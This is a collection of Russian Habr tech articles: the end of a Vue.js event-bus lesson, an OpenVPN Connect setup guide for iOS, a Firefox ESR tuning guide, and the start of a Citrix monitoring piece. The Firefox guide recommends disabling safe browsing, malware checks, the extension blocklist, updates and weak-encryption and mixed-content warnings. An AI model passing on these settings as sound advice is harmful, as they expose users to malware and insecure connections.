v-show="selectedTab === 'Reviews'"
```
Благодаря ей список отзывов будет выводиться тогда, когда будет активной вкладка `Reviews`.
Аналогично, к тегу , в котором содержится код подключения компонента `product-review`, мы добавим следующее:
```
v-show="selectedTab === 'Make a Review'"
```
Это приведёт к тому, что форма будет выводиться только тогда, когда активна вкладка `Make a Review`.
Вот как теперь будет выглядеть шаблон компонента `product-tabs`:
```
template: `
{{ tab }}
There are no reviews yet.
* {{ review.name }}
Rating: {{ review.rating }}
{{ review.review }}
`
```
Если взглянуть на страницу и пощёлкать по вкладкам — можно убедиться в том, что созданный нами механизм работает правильно.
*Щелчки по вкладкам приводят к скрытию одних элементов и к отображению других*
Но отправка отзывов с помощью формы всё так же не работает. Исследуем проблему и исправим её.
Решение проблемы с отправкой отзывов
------------------------------------
Если сейчас взглянуть в консоль инструментов разработчика браузера, там можно обнаружить предупреждение.
*Предупреждение в консоли*
Очевидно, система не может обнаружить метод `addReview`. Что с ним случилось?
Для ответа на этот вопрос вспомним о том, что `addReview` — это метод, который объявлен в компоненте `product`. Он должен вызываться в том случае, если компонент `product-review` (а это — дочерний компонент компонента `product`) генерирует событие `review-submitted`:
```
```
Именно так всё и работало до переноса вышеприведённого фрагмента кода в компонент `product-tabs`. А теперь дочерним компонентом `product` является компонент `product-tabs`, а `product-review` — это теперь не «ребёнок», компонента `product`, а его «внук».
Наш код сейчас рассчитан на взаимодействие компонента `product-review` с родительским компонентом. Но теперь это — уже не компонент `product`. В результате оказывается, что нам, чтобы форма заработала бы правильно, нужно подвергнуть код проекта рефакторингу.
Рефакторинг кода проекта
------------------------
Для того чтобы обеспечить связь внучатых компонентов с их «бабушками» и «дедушками», или для того, чтобы наладить связь между компонентами одного уровня, нередко используют механизм, называемый глобальной шиной событий (global event bus).
Глобальная шина событий — это канал связи, который можно использовать для передачи информации между компонентами. И это, на самом деле, просто экземпляр Vue, который создают, не передавая ему объект с опциями. Создадим шину событий:
```
var eventBus = new Vue()
```
Этот код попадёт на верхний уровень файла `main.js`.
Возможно, вам будет легче освоить эту концепцию, если вы представите шину событий в виде автобуса. Его пассажирами являются данные, которые одни компоненты отправляют другим. В нашем случае речь идёт о передаче одним компонентам сведений о событиях, сгенерированных другими компонентами. То есть, наш «автобус» будет ездить от компонента `product-review` к компоненту `product`, перевозя сведения о том, что форма был отправлена, и доставляя данные формы из `product-review` в `product`.
Сейчас в компоненте `product-review`, в методе `onSubmit`, есть такая строчка:
```
this.$emit('review-submitted', productReview)
```
Заменим её на следующую, воспользовавшись `eventBus` вместо `this`:
```
eventBus.$emit('review-submitted', productReview)
```
После этого больше не нужно прослушивать событие `review-submitted` компонента `product-review`. Поэтому изменим код этого компонента в шаблоне компонента `product-tabs` на такой:
```
```
Из компонента `product` теперь можно удалить метод `addReview`. Вместо него мы воспользуемся следующей конструкцией:
```
eventBus.$on('review-submitted', productReview => {
this.reviews.push(productReview)
})
```
О том, как именно применить её в компоненте, мы поговорим ниже, а пока в двух словах опишем то, что в ней происходит. Эта конструкция указывает на то, что когда `eventBus` генерирует событие `review-submitted`, нужно взять данные, передаваемые в этом событии (то есть — `productReview`) и поместить их в массив `reviews` компонента `product`. Собственно говоря, это очень похоже на то, что до сих пор делалось в методе `addReview`, который нам больше не нужен. Обратите внимание на то, что в вышеприведённом фрагменте кода используется стрелочная функция. Этот момент достоин более подробного освещения.
Причины использования стрелочной функции
----------------------------------------
Здесь мы используем синтаксис [стрелочных функций](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions), который появился в ES6. Дело в том, что контекст стрелочной функции привязан к родительскому контексту. То есть — когда мы, внутри этой функции, пользуемся ключевым словом `this`, оно равнозначно тому ключевому слову `this`, которое соответствует сущности, содержащей стрелочную функцию.
Этот код можно переписать и без использования стрелочных функций, но тогда понадобится организовать привязку `this`:
```
eventBus.$on('review-submitted', function (productReview) {
this.reviews.push(productReview)
}.bind(this))
```
Завершение работы над проектом
------------------------------
Мы почти достигли цели. Всё, что осталось сделать — найти место для фрагмента кода, обеспечивающего реакцию на событие `review-submitted`. Таким местом в компоненте `product` может стать функция `mounted`:
```
mounted() {
eventBus.$on('review-submitted', productReview => {
this.reviews.push(productReview)
})
}
```
Что это за функция? Это — [хук жизненного цикла](https://ru.vuejs.org/v2/guide/instance.html#%D0%A5%D1%83%D0%BA%D0%B8-%D0%B6%D0%B8%D0%B7%D0%BD%D0%B5%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE-%D1%86%D0%B8%D0%BA%D0%BB%D0%B0-%D1%8D%D0%BA%D0%B7%D0%B5%D0%BC%D0%BF%D0%BB%D1%8F%D1%80%D0%B0), который вызывается один раз после того, как компонент будет смонтирован в DOM. Теперь, после того, как компонент `product` будет смонтирован, он будет ожидать появления событий `review-submitted`. После того, как такое событие будет сгенерировано, в данные компонента будет добавлено то, что передано в этом событии, то есть — `productReview`.
Если теперь попробовать оставить отзыв о товаре, воспользовавшись формой, окажется, что этот отзыв выводится там, где он должен быть.
*Форма работает так, как нужно*
Шина событий — это не лучшее решение для обеспечения связи компонентов
----------------------------------------------------------------------
Хотя шина событий используется часто, и хотя вы можете встретить её в различных проектах, учитывайте то, что это — далеко не самое лучшее решение задачи обеспечения связи компонентов приложений.
По мере того, как приложение растёт, в нём может очень пригодиться система управления состоянием, основанная на [Vuex](https://vuex.vuejs.org/en/intro.html). Это — паттерн и библиотека управления состоянием приложений.
Практикум
---------
Добавьте в проект вкладки `Shipping` и `Details`, на которых, соответственно, выводится стоимость доставки покупок и сведения о товарах.
* [Вот](https://codepen.io/GreggPollack/pen/BMXKOR?editors=1111) заготовка, которую вы можете использовать для решения этой задачи.
* [Вот](https://codepen.io/GreggPollack/pen/zegqJe) решение задачи.
Итоги
-----
Вот что вы узнали, изучив этот урок:
* Для организации механизма вкладок можно воспользоваться средствами условного рендеринга.
* Для передачи данных между компонентами приложений часто пользуются глобальной шиной событий, представленной отдельным экземпляром Vue, создаваемым без использования объекта с опциями.
* Шина событий — это не самое лучшее решение задачи организации обмена данными между компонентами. Для решения подобной задачи лучше всего воспользоваться специализированной библиотекой. Например — Vuex.
Надеемся, что вы, изучив данный курс по Vue, узнали то, что хотели, и готовы к тому, чтобы узнать ещё много нового и интересного об этом фреймворке.
**Если вы только что завершили этот курс — просим поделиться впечатлениями.**
→ [Vue.js для начинающих, урок 1: экземпляр Vue](https://habr.com/ru/company/ruvds/blog/509700/)
→ [Vue.js для начинающих, урок 2: привязка атрибутов](https://habr.com/ru/company/ruvds/blog/509702/)
→ [Vue.js для начинающих, урок 3: условный рендеринг](https://habr.com/ru/company/ruvds/blog/510628/)
→ [Vue.js для начинающих, урок 4: рендеринг списков](https://habr.com/ru/company/ruvds/blog/510898/)
→ [Vue.js для начинающих, урок 5: обработка событий](https://habr.com/ru/company/ruvds/blog/511600/)
→ [Vue.js для начинающих, урок 6: привязка классов и стилей](https://habr.com/ru/company/ruvds/blog/511602/)
→ [Vue.js для начинающих, урок 7: вычисляемые свойства](https://habr.com/ru/company/ruvds/blog/512660/)
→ [Vue.js для начинающих, урок 8: компоненты](https://habr.com/ru/company/ruvds/blog/512658/)
→ [Vue.js для начинающих, урок 9: пользовательские события](https://habr.com/ru/company/ruvds/blog/513772/)
→ [Vue.js для начинающих, урок 10: формы](https://habr.com/ru/company/ruvds/blog/513774/)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=vuelesson11) | https://habr.com/ru/post/514516/ | null | ru | null |
# Настройка OpenVPN в iOS
Тихо и незаметно прошел релиз клиента OpenVPN для iOS. Для многих, в том числе и для меня, это может стать последней причиной для отказа от Jailbreak'а. Для тех, кто желает более подробно узнать о возможностях клиента на текущий момент, а так же о подводных камнях настройки, добро пожаловать под хабракат.
Скачать клиент OpenVPN Connect можно из [iTunes](https://itunes.apple.com/us/app/openvpn-connect/id590379981?mt=8) На текущий момент, по информации с [форума разработчиков](https://forums.openvpn.net/topic11983.html), он доступен в магазинах всех стран, кроме Франции. Задержки связаны с необходимостью получения Encryption Import License и носят временных характер.
Ограничения, присутствующие в приложении:
* Размер файла настроек не может превышать 256KB. Тем не менее, этого должно быть достаточно даже для хранения файла конфигурации в унифицированном ovpn формате, о котором будет сказано чуть позже.
* Поддерживаются только tun соединения из-за ограничений iOS VPN API.
* Не поддерживается ряд директив в конфигурационном файле: dev tap, tls-remote, fragment, mssfix.
* Не поддерживается работа клиентов без сертификатов. Эта возможность появится в будущем релизе.
* Возможно использовать только шифрование AES или Blowfish. Связано это с тем, что данные алгоритмы больше адаптированы под архитектуру ARM. Таким образом достигается большая энергоэффективность.
* Использование HTTP прокси настраивается на уровне настроек приложения, а не в конфигурационном файле.
* Использование контейнеров PKCS#12 возможно только, если они импортированы в связку ключей iOS. Такое поведение является настоятельной рекомендацией разработчиков, потому, что в отличие от хранения закрытого ключа прямо в ovpn файле, оно обеспечивает более высокий уровень сохранности секретных данных. Особенно в случае использования устройства с jailbreak.
Перейдем к настройке нашего OpenVPN. Сначала серверная часть (пример приведен для Linux). Используем easy-rsa для генерации сертификатов и закрытых ключей удостоверяющего центра (CA), сервера (server.crt и server.key) и клиента (ios.crt и ios.key). Так же сгенерируем параметры алгоритма Диффи-Хелмана.
```
./vars
./build-ca
./build-key-server server
./build-key ios
./build-dh
```
Для большей безопасности так же сгенерируем ключ TLS аутентификации.
```
openvpn --genkey --secret ta.key
```
Общий вид конфигурации сервера представлен ниже:
```
proto udp
dev tun0
topology subnet
option server "10.19.2.0 255.255.255.0"
push "dhcp-option DNS 8.8.8.8"
push "route 10.19.1.0 255.255.255.0"
keepalive "10 120"
cipher AES-128-CBC
comp_lzo 1
persist_key 1
persist_tun 1
ca ca.crt
cert server.crt
key server.key
dh dh1024.pem
tls-auth "ta.key 0"
```
Теперь перейдем к конфигурации клиента. Наиболее важный момент настройки заключается в том, что закрытый ключ клиента должен быть в формате RSA. Если вы делали все согласно инструкции на сайте OpenVPN, или у вас уже были готовые ключи, то их необходимо предварительно конвертировать. Для этого можно использовать openssl:
```
openssl rsa -in ios.key -out ios_rsa.key
```
Теперь соберем все необходимые ключи и сертификаты в один PKCS#12 контейнер:
```
openssl pkcs12 -export -in ios.crt -inkey ios_rsa.key -certfile ca.crt -name ios -out ios.p12
```
Обязательно укажите пароль для экспорта. Установить контейнера без пароля на экспорт в связку ключей iOS не получится. Полученный контейнер передаем на устройство через электронную почту или Safari.
Для организации файла конфигурации клиента будем использовать унифицированный ovpn формат. Общий вид конфигурации представлен ниже.
```
client
tls-client
dev tun
proto udp
remote адрес_сервера
resolv-retry infinite
key-direction 1
cipher AES-128-CBC
persist-tun
persist-key
comp-lzo
verb 3
redirect-gateway
-----BEGIN OpenVPN Static key V1-----
#содержимое ta.key
-----END OpenVPN Static key V1-----
-----BEGIN CERTIFICATE-----
#содержимое ca.crt
-----END CERTIFICATE-----
```
Полученный файл можно импортировать на ваше iOS устройство через iTunes (рекомендуемый вариант) или через электронную почту.
##### Полезные ссылки
[OpenVPN HOWTO](http://openvpn.net/index.php/open-source/documentation/howto.html)
[OpenVPN Connect](https://itunes.apple.com/us/app/openvpn-connect/id590379981?mt=8)
[OpenVPN Connect (iOS) forum](https://forums.openvpn.net/openvpn-connect-ios-f36.html) | https://habr.com/ru/post/168853/ | null | ru | null |
# Приручаем и прокачиваем огнелиса: The Ultimate Guide
#### Лирическое вступление
*Не люблю гонку версий, своей бессмысленностью отдаленно напоминающую гонку вооружений. Не успели как следует довести до ума текущую версию — выпускают новую, с новыми багами, уязвимостями и «особенностями». Для таких как я — любителей стабильных и проверенных решений для корпоративной среды, да и для себя тоже — у команды Мозилы есть **сборка типа ESR**: в течение длительного времени для нее выходят обновления, устраняющие ошибки и уязвимости, сама же major версия браузера не обновляется! [Вот ссылка](http://www.mozilla.org/en-US/firefox/organizations/all.html) на страницу оф.сайта, откуда можно скачать эту замечательную ESR-версию (достигается путем не слишком очевидных ходов), также, ESR можно скачать с официального FTP [ftp.mozilla.org/pub/firefox/releases/latest-esr/](http://ftp.mozilla.org/pub/firefox/releases/latest-esr/)
Только что вышла давно мной ожидавшаяся 17-я ESR версия (предыдущая была только 10-я). В связи с этим событием решил написать подробное руководство по оптимизации нашего (не)любимого браузера — с разбором всех параметров, что каждый из них делает и откуда он получен.*
#### Часть 1. Чтоб Мозила не тормозила
1. К своему удивлению обнаружил: характерное торможение, с которым многие, наверно, сталкивались, вызывается встроенным скриптом, определяющим системные настройки прокси.
**Если прокси нет — указываем это явно**: «настройки — дополнительно — сеть — соединение» — «без прокси». Если наш лис работает в корпоративной среде — по возможности задаем явно прокси или скрипт proxy.pac
2. **Минимум дополнений** (addons): лишних не устанавливаем, из тех что установлены держим включенными только те, которые реально нужны. Помним: лишний плагин — лишняя затрата вычислительных ресурсов при прорисовке каждой страницы. Собственно плагины (plugins): отключаем по максимуму все, и в первую очередь dotnet, DRM, java quick start. В условиях корпоративной среды принимаем меры, чтобы эти плагины вообще не появлялись в списке установленных.
3. **Ограничение объема и автоматическая оптимизация базы данных places** — файла places.sqlite. Первое достигается параметром max\_pages (см.ниже), второе — (теоретически) происходит штатно раз в месяц. В совеременных версиях ФФ, к сожалению, в интерфейсе не предусмотрены настройки для ограничения времени хранения и размера истории посещений страниц. Естественно, пробел этот могут восполнить аддоны. В качестве альтернативы принудительному заданию ограничения числа страниц в истории, рекомендую аддон **PlacesCleaner**: он производит очистку и оптимизацию БД с заданным интервалом (в днях). Если нужна только частая оптимизация, а число страниц уже задано жестко через конфиг, может быть интересен аддон **Vacuum Places Improved**.
4. **Ограничение размера кэша** до разумного размера — явно указать в настройках (или [через pref](http://kb.mozillazine.org/Browser.cache.disk.capacity)). Думаю, понятно каждому: гигабайт распыленных по диску файлов и индексы всего этого скорости работы не прибавят.
#### Часть 2. Избавляемся от нежелательного контента
Давно прошли те времена, когда проблемой являлась загрузка, собственно, рекламных баннеров в формате gif. Сейчас зло — счетчики и централизованные баннерные сети, шпионящие, еще, к тому же, за пользователем: во-первых, скрипты, которые тяжелее «полезной нагрузки» — самой рекламной графики, во-вторых, централизованный характер: повышенная нагрузка на их сервер то и дело приводит к задержке подгрузки их контента, а не загрузив его, браузер откладывает рендеринг страницы — в результате мы ждем даже при быстром интернете… А засилье флэш-рекламы? Оно представляет собой «сейчас», по сравнению с «тогда» несопоставимо большую проблему: достаточно посмотреть, сколько памяти уходит на процесс plugin-container — сравнимо с самим браузером: новые версии adobe flash player стали очень прожорливыми и каждый лишний флэш-баннер следует расценивать как лишнее открытое приложение!
Ниже приводятся варианты решений проблемы нежелательного контента, наиболее интересных с технической точки зрения:
1. **Семейство аддонов adblock** — наиболее удобный и, как следствие, популярный инструмент. **Подробности**Из всего их многообразия рекомендую обратить внимание на 2: Adblock plus — самая свежая версия аддона, и на его альтернативу Adblock edge. Достоинства: начинают блокировать рекламу сразу после установки («из коробки»), умеют блокировать любой контент (картинки, флэш, скрипты) и даже убирать указанные в черном списке HTML-контейнеры прямо из страницы (по id, class...), можно как добавлять готовые подписки, так и составлять свои правила.
Недостатки: добавленная по умолчанию подписка RuAdlist+Easylist (внимание!) не блокирует счетчики; готовые наборы правил из подписок представляют из себя слишком длинные списки, что чревато растратой вычислительной мощности и оперативной памяти; нужно изучать собственный синтаксис Адблока при желании создать своё правило вручную.
Для легкого решения проблемы со счетчиками, **добавляем в подписку список «Против счётчиков»**: <https://ruadlist.googlecode.com/svn/trunk/cntblock.txt>, он легковесный — 12 кб и является единственной упомянутой здесь подпиской, которая не приводит к повышению потребления ресурсов браузером. Но он не блокирует скрипт google-analytics, поэтому требуется еще добавить правило `||google-analytics.com/ga.js`
Есть еще список BitBlock — чтобы не грузились плагины от социальных сетей — кнопки фейсбучных лайков, google+ и т.п., <http://ruadlist.googlecode.com/svn/trunk/bitblock.txt>. Все эти дополнительные фильтры можно установить в 1 клик на странице их разработчика: <https://code.google.com/p/ruadlist/>
Необходимо помнить, что подписки содержат огромное число правил, в основном ненужных, из-за чего ощутимо замедляется загрузка тяжелых и сложных страниц (вроде результатов поиска картинок в яндексе и гугле) увеличивается потребление памяти: до 120 Мб с тремя подписками против 56 Мб с Адблоком без правил (браузер показывает 1 вкладку с пустой страницей). Если при наличии пары прямых рук мы не хотим жертвовать скоростью и тратить лишнюю память — удаляем все подписки (кроме, пожалуй, «против счетчиков») и создаем правила сами: вручную универсальные правила, а на часто посещаемых сайтах — в визуальном режиме блокируем все баннеры, в первую очередь флэш (у адблока есть возможность показать список элементов и иногда — создавать правило кликом мыши непосредственно по нежелательному элементу). Результат нашей работы хранится в профиле ФФ в поддиректории adblockplus (adblocklite) и эти настройки теперь можно тиражировать вместе с самим плагином на другие **\*upd\*** И еще про adblock plus: для повышения производительности обязательно отключайте в настройках (кнопка аддона, выпадающее меню) «считать срабатывания фильтров»! Адблок при каждом попадании перелопачивает мегабайтный (в случае подписок) patterns.ini — заглянул туда и ужаснулся. Не случайно Adblock edge и adblock lite поставляются с отключенным по дефолту подсчетом срабатываний фильтров. Подробнее об оптимизации Адблока читайте [здесь](http://habrahabr.ru/post/165819/).
2. **noscript, yesscript** — блокировка скриптов, помогает победить такое зло как скрипты счетчиков и баннерных сетей.
**Подробности**noscript работает по принципу белого списка, есть предустановленный белый список, yesscript — по принципу черного списка.
Недостатки для noscript: специализация на блокировке скриптов, невозможность компромисса: блокирует скрипты даже для домена открытой на данной вкладке страницы, что обязательно испортит работоспособность многих сайтов, а в случае установки галки «полностью разрешить выполнение javascript» (по-моему, единственно приемлемый режим) и добавления отдельных скриптов (например, счетчиков) в черный список — сам черный список увидеть в настройках (или задать его заранее) невозможно. Ну а yesscript — реализующий адекватный алгоритм черного списка — по скудности настроек способен разочаровать даже фаната минимализма: есть только список урлов (рег. выражений?) скрипты откуда следует блокировать, его нужно создавать самостоятельно. Для сравнения: Adblock, если в нем пользоваться только самописными правилами, точно также заблокирует скрипт, но кроме него — еще и картинки, и флэш, и целые блоки HTML кода прямо в странице. Разница очевидна.
3. **imglikeopera** — очень интересный плагин, незаслуженно обделенный популярностью. Блокирует картинки и флэш. **Подробности**Идея заимствована из «Оперы» — кнопка, управляющая показом картинок.
Достоинства: умеет принудительно кэшировать графический контент на длительный срок, поддерживает регулярные выражения. Недостатки: не содержит предустановленных наборов правил — всё задается вручную, не управляет скриптами (но был экспериментально допилен мной, чтобы добавить и эту возможность — впечатления вызывает смешанные), в исходный код страницы — в тэги добавляет лишние параметы «ilo-full-src» и при сохранении страниц они там присутствуют.
4. Параметр конфигурации [plugins.click\_to\_play](http://kb.mozillazine.org/Issues_related_to_plugins#Click_to_Play) **Подробности**и простейший аддон [switch-plugins\_click\_to\_play](https://addons.mozilla.org/ru/firefox/addon/switch-plugins_click_to_play/), создающий кнопку, управляющую данным параметром. Очень эффективный и совместимый с предыдущими решениями способ устранить отъедание памяти и загрузку процессора флэш-контентом в лице процесса plugin-container. При включенном click\_to\_play на месте флэш-баннера появляется серый блок с надписью «щелкните здесь для включения плагина», а в начале адресной строки появляется уведомление, кликнув по которому можно настроить запуск плагина для данного сайта.
#### Часть 3. Правильные настройки по дефолту
Самый простой способ **развертывания ФФ с заданными настройками** — положить js-файл, аналогичный prefs.js в профиле в директорию **[путь установки ФФ] / defaults / preferences**. Я его называю так же как и в профиле — prefs.js, но имя не принципиально, главное чтобы было расширение .js
Итак, создаем js-файл со следующим содержимым:
**\* upd \***
```
# Mozilla User Preferences
pref("app.update.enabled", false);
pref("browser.cache.memory.max_entry_size", 256);
pref("browser.cache.memory.capacity", 4096);
pref("browser.display.show_image_placeholders", false);
pref("browser.download.manager.retention", 1);
pref("browser.download.useDownloadDir", false);
pref("browser.feeds.showFirstRunUI", false);
pref("browser.newtabpage.enabled", false);
pref("browser.places.importBookmarksHTML", false);
pref("browser.privatebrowsing.dont_prompt_on_enter", true);
pref("browser.rights.3.shown", true);
pref("browser.safebrowsing.enabled", false);
pref("browser.safebrowsing.malware.enabled", false);
pref("browser.search.update", false);
pref("browser.sessionhistory.max_total_viewers", 1);
pref("browser.shell.checkDefaultBrowser", false);
pref("browser.startup.page", 0);
pref("browser.tabs.animate", false);
pref("browser.xul.error_pages.expert_bad_cert", true);
pref("config.trim_on_minimize", true);
pref("dom.event.contextmenu.enabled", false);
pref("extensions.blocklist.enabled", false);
pref("extensions.shownSelectionUI", true);
pref("extensions.update.enabled", false);
pref("extensions.update.notifyUser", false);
pref("extensions.pendingOperations", false);
pref("geo.enabled", false);
pref("gfx.direct2d.force-enabled", true);
pref("gfx.font_rendering.directwrite.enabled", true);
pref("layers.acceleration.force-enabled", true);
pref("intl.charsetmenu.browser.cache", "windows-1251, UTF-8");
pref("intl.charset.default", "windows-1251");
pref("intl.charsetmenu.browser.cache.size", 2);
pref("network.cookie.prefsMigrated", true);
pref("network.dns.disableIPv6", true);
pref("network.http.pipelining", true);
pref("network.http.pipelining.max-optimistic-requests", 2);
pref("network.http.proxy.pipelining", true);
pref("network.http.request.max-start-delay", 1);
pref("network.prefetch-next", false);
pref("places.history.expiration.max_pages", 400);
pref("plugins.hide_infobar_for_outdated_plugin", true);
pref("privacy.donottrackheader.enabled",true);
pref("security.warn_entering_weak", false);
pref("security.warn_viewing_mixed", false);
pref("toolkit.telemetry.prompted", true);
```
Файлов js в defaults / preferences может быть несколько. Это удобно: опциональный блок параметров локализован в отдельном файле, его можно подложить на конкретный ПК в сети или удалить оттуда.
Легко сделать **свой дистрибутив ФФ для Windows** с правильными настройками: распаковываем инсталлятор, директорию win32 можно смело удалить, в директории core находится то, что запишется в program files. Кладём наш js-файл с правильными настройками в core\defaults\preferences. Можно сразу удалить maintenanceservice\_installer.exe и maintenanceservice.exe — не засоряем ПК лишними сервисами. Получившийся распакованный дистрибутив можно устанавливать вручную или развертывать всеми возможными способами — точно так же, как и исходный exe-дистрибутив: setup.exe воспринимает все те же ключи.
#### Часть 4. Подробно о том, что каждый параметр делает
Источники:
**{1}** решение найдено мной
**{2}** [www.latestonnet.com/2012/01/17/optimize-firefox-to-run-4-times-faster-than-before.html](http://www.latestonnet.com/2012/01/17/optimize-firefox-to-run-4-times-faster-than-before.html)
**{3}** [sonikelf.ru/optimizuruem-firefox](http://sonikelf.ru/optimizuruem-firefox/)
**{4}** [egonitron.com/2007/05/25/the-truth-about-the-firefox-pipelining-trick](http://egonitron.com/2007/05/25/the-truth-about-the-firefox-pipelining-trick/)
**{5}** [techlogon.com/2012/12/02/how-to-speed-up-firefox-tweaking-guide](http://techlogon.com/2012/12/02/how-to-speed-up-firefox-tweaking-guide/)
**Первоисточник** (правда, для старых версий): <http://kb.mozillazine.org/Category:Preferences>
Для начала **о стратегии**. В отличие от множества ~~горе-~~оптимизаторов, я не стремлюсь поменять каждую настройку во всём подряд, включая все тонкости поведения системы на низком уровне. Вместо этого, осознанно и со здравым смыслом прорабатываются следующие направления:
1) предотвращаем причины «тормозов»
2) отключить весь лишний и мешающий функционал — уведомления, ~~большого брата~~ антиспуфинг, ipv6 etc.
3) экономия оперативной памяти
4) включить HTTP 1.1, но без экстремизма
**нет назойливым обновлениям без спросу**
```
pref("app.update.enabled", false);
pref("browser.search.update", false);
pref("extensions.update.enabled", false);
pref("extensions.update.notifyUser", false);
pref("extensions.pendingOperations", false);
pref("extensions.blocklist.enabled", false);
```
**{1}**
**оптимизация расхода памяти**
```
pref("browser.sessionhistory.max_total_viewers", 1);
```
количество страниц, сохраняемых в оперативной памяти, для быстрого перехода назад — уменьшая значение экономим память; рекомендуют ставить 0, но я (как и в **{2}**) считаю оптимумом 1: в подавляющем большинстве случаев нам нужен возврат именно на 1 шаг, и здесь лис порадует нас своей скоростью;
```
pref("browser.cache.memory.max_entry_size", 256);
pref("browser.cache.memory.capacity", 4096);
pref("config.trim_on_minimize", true);
```
размер кэша в оперативной памяти **{1}**, **{3}**
выгрузка страниц памяти при сворачивании окна **{3}**
Внимание: [browser.cache.memory.capacity](http://kb.mozillazine.org/Browser.cache.memory.capacity) = 4096 означает, что будет выделено 4 Мб на кэш в памяти (значение в кб). Если свободной памяти заведомо много, рационально ставить значения в разы больше. С другой стороны, минимальный размер кэша означает, что в корпоративной среде всем будет хватать памяти…
browser.cache.memory.max\_entry\_size означает максимальный размер кэшируемого в память объекта (значение в кб). По идее, чем меньше, тем эффективнее расходуется память. Часто (как в **{3}**) неправильно принимают за параметр, определяющий размер самого кэша. Подтверждение моих слов — в самом браузере, смотреть тут: about:cache?device=memory
Видно, что заданный нами browser.cache.memory.capacity в точности отображается в строке «Maximum storage size».
**отучаем от лишних вопросов**
```
pref("browser.shell.checkDefaultBrowser", false);
```
нет назойливым предложениям сделаться браузером по умолчанию **{1}**
```
pref("browser.feeds.showFirstRunUI", false);
pref("browser.rights.3.shown", true);
pref("extensions.shownSelectionUI", true);
pref("toolkit.telemetry.prompted", true);
pref("browser.places.importBookmarksHTML", false);
pref("browser.privatebrowsing.dont_prompt_on_enter", true);
```
firefox не показывает саморекламу и ненужные напоминания при первом запуске **{1}**
**противодействуем сбору информации**
```
pref("geo.enabled", false);
pref("browser.safebrowsing.enabled", false);
pref("browser.safebrowsing.malware.enabled", false);
pref("privacy.donottrackheader.enabled",true);
```
отключить шпионаж Google и проверку урлов на фишинг — ускоряет работу: браузер делает меньше ходов **{1}**
посылать заголовок «do not track» **{1}**
**интерфейс, юзабилити**
```
pref("browser.startup.page", 0);
pref("dom.event.contextmenu.enabled", false);
pref("browser.download.manager.retention", 1);
pref("browser.download.useDownloadDir", false);
pref("places.history.expiration.max_pages", 400);
pref("browser.newtabpage.enabled", false);
pref("browser.tabs.animate", false);
pref("browser.display.show_image_placeholders", false);
```
открываем пустую страницу по дефолту — идеально для корпоративной среды**{1}**
запрещаем сайтам отключать контекстное меню **{1}**
~~лис не гадит под себя~~ при скачивании задается вопрос куда качать **{1}**
очищаем историю загрузок при выходе из ФФ **{1}**
ограничиваем максимальное число гарантированно сохраняемых записей в истории до 400: такой подход ограничения размера базы places без плагинов — единственно возможный на современных версиях ФФ (понято из исходников и подтверждено экспериментально) **{1}**
в новом табе показываем по умолчанию пустую страницу без тайлов **{1}**
отключаем анимацию табов **{5}**
не показываем места для картинок — ускоряет прорисовку **{5}**
~~```
pref("plugins.click_to_play",true);
```~~опционально: не загружаем плагины автоматически — устраняем проблему прожорливого флэш контента**{1}**
**аппаратное ускорение графики**
```
pref("gfx.direct2d.force-enabled", true);
pref("gfx.font_rendering.directwrite.enabled", true);
pref("layers.acceleration.force-enabled", true);
```
принудительное задействование графического ускорителя: браузер более требователен к видеодрайверу и GPU, чем игры!? Говорим твёрдое «нет» этому недоразумению! **{1}**
**кодировки**
```
pref("intl.charsetmenu.browser.cache", "windows-1251, UTF-8");
pref("intl.charset.default", "windows-1251");
pref("intl.charsetmenu.browser.cache.size", 2);
```
какие наборы символов кэшируем
кодировка страниц по умолчанию **{1}**
сколько наборов символов кэшируем (по умолчанию 5) **{1}**
**сетевые настройки**
```
pref("network.dns.disableIPv6", true);
pref("network.http.pipelining", true);
pref("network.http.proxy.pipelining", true);
pref("network.http.request.max-start-delay", 1);
pref("network.http.pipelining.max-optimistic-requests", 2);
# опционально, экспериментально
# pref("network.http.max-persistent-connections-per-server", 8);
# pref("network.prefetch-next", false);
```
**{1-5}**
отключает никому здесь не нужный IPv6
включение HTTP1.1 (множественные запросы в одном соединении) при прямом соединении и через прокси соответственно.
задержка перед превышением допустимого числа keep-alive соединений, по умолчанию 10 (сек), в {2} рекомендуется 0, я считаю, что лучше поставить не 0, а 1, сохранив некоторую задержку
снижение max-optimistic-requests с 4 до 2 по результатам моих экспериментов устраняет задержку в открытии страниц при работе через HTTP1.1;
рекомендуют увеличение с 6 (умолч.) до 8 макс. числа постоянных соединений с 1 сервером, чего я лично делать не рекомендую, наоборот, можно попробовать снижение до 4 или даже 2 (как в IE5 и 6, у которого никогда не было проблем с HTTP1.1);
отключение предзагрузки следующих страниц, в условиях корпоративной среды — нужная настройка
**«безопасность»**
```
pref("security.warn_entering_weak", false);
pref("security.warn_viewing_mixed", false);
pref("browser.xul.error_pages.expert_bad_cert", true);
```
отключение бесполезных вопросов о слабом шифровании и смешанном контенте, на которые все пользователи всё равно ответят «да» **{1}**
улучшаем юзабилити в предупреждении о самоподписанном сертификате — экономим клики (убрать полностью это предупреждение пока не удается) **{1}**
**прорисовка страниц**
```
pref("content.notify.backoffcount", 5);
pref("content.notify.ontimer", true);
pref("content.interrupt.parsing", true);
pref("content.notify.interval", 750000);
```
низкоуровневые настройки прорисовки страниц до их загрузки;
часто рекомендуют content.notify.backoffcount = 5, но никто не говорит, что нужно еще включать content.notify.ontimer, чтобы первая настройка на что-то влияла
(экспериментально, привожу этот блок в связи с тем, что раньше
постоянно рекомендовали content.notify.backoffcount = 5)
**todo**: найти бы способ отучить ФФ ругаться на недействительный сертификат, но пока такой настройки я не нашел | https://habr.com/ru/post/161053/ | null | ru | null |
# Как удобно мониторить Citrix XenDesktop
Привет, расскажу как удобно и красиво можно мониторить Citrix XenDesktop ферму заливая данные в zabbix.
Citrix XenDesktop необходим компаниям, у которых много офисов в разных уголках страны, применяется разнообразное сложное ПО вроде IBSO/RBO требующее поддержки в актуальном состоянии Ось, ПО, оракловых клиентов и много чего еще, по этому компаниям проще купить лицензии и внедрить Citrix XenDesktop чем тянуть и актуализировать огромное кол-во ПК (у нас например в компании ПК более 4к).
Какие основные ресурсы Citrix XenDesktop может отдать сотрудникам компании:
* набор приложений Applications
* индивидуальный удаленный рабочий стол, привязанный к сотруднику и его VM
* рабочий стол из состава терминальной (терминальных) фермы
